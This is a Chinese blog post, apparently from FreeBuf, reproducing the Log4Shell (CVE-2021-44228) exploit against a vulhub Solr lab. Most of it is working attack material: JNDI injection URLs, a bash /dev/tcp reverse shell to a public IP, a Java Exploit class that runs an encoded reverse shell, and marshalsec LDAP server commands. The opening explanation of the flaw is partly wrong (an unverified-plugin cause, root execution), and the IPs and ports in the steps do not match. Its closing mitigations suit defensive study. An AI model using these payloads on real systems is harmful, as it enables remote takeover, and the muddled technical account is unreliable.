
log4j2漏洞原理?
CVE-2021-44228
,简称:log4j2,利用漏洞可以执行任意命令。该漏洞影响所有 log4j2 受影响的版本,包括 2.x 到 2.15.0。这个漏洞利用了一个缺陷,允许攻击者以 root 权限执行任意命令。log4j2 的核心代码存在一个漏洞,导致它在加载插件时未正确验证插件是否来自受信任的来源。这使得攻击者可以通过构建恶意插件来绕过信任检查,从而执行任意命令。
Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi,在rmi的工厂中注册一个恶意实例,使用lookup远程加载导致RCE
${jndi:ldap://log4j.voxxaq.dnslog.cn}
特征:${jndi:rmi
判断主机,一定会有一个RMI的恶意流量
无回显的时候如何判断攻击成功:看看主机是否加载恶意类,看看受害主机有没有回连恶意地址
解决方案:
升级到最新版
在防火墙设置中,禁止应用服务访问常规应用以外的ip地址
其他版本,删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
环境 & 工具
环境:kali + docker 部署 vulhub靶场
复现:jdk 1.8 + python + marshalsec
http://www.dnslog.cn #dnslog检测
https://ares-x.com/tools/runtime-exec #可以对命令进行编写
环境搭建:
进入vulhub 靶场 找到log4j2目录
启动docker
docker-compose up –d
访问查看
没问题
dnslog测试漏洞:
进入:
http://www.dnslog.cn #生成个接受的链接
测试注入点:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3avw73.dnslog.cn}
#验证漏洞并查看java版本
ok 接着查看 dnsl平台 刷新一下
发现有 回显 并且包含jdk 1.8
测试完成!开始漏洞利用
反弹shell
反弹shell 由于前面我们测试过了 可以通以ldap即我们可以通过远程类加载实现反弹shell
bash -i >& /dev/tcp/43.140.204.207/6666 0>&1 #6666为端口号
进行base编码
https://ares-x.com/tools/runtime-exec #这个貌似需要梯子
这个图片有一点点问题哪个端头是7777
写 Exploit
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDAuMjA0LjIwNy83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java #生成class文件
启动httpf服务: 生成 .class 目录下
python -m http.server 1234
发现是有这两个文件的 然后 我们以这个http起一个 LDAP服务
起这个服务需用到:marshalse
marshalsec使用教程
cd marshalsec/target/ #进入这个目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/test#Exploit 3333 RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/test#Exploit 3333 LDAP服务
//http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 3333 指rmi/ldap服务的端口
先进入
启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.24.56.44:1234/#Exploit" 1203
然后将自己起攻击的服务器开始监听该端口
ok 开始打playload
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.24.45.44:1203/Exploit}
#这个是get传参不用管了 直接回车就行 没必要抓包
成功反弹shell并有root权限
再看一下 http 和LDAP服务
看到两个同时响应
至此 log4j2漏洞复现 完成
总结
总结一下: log4j2漏洞刚出现时可谓是危害嘎嘎大 不过现在也感觉以后找工作像这种 可能也是HR必问项吧
防御:这个应该说比较简单开头也提了 一些 禁止陌生ip 上WAF 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截 。。。及时更新版本 。。。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)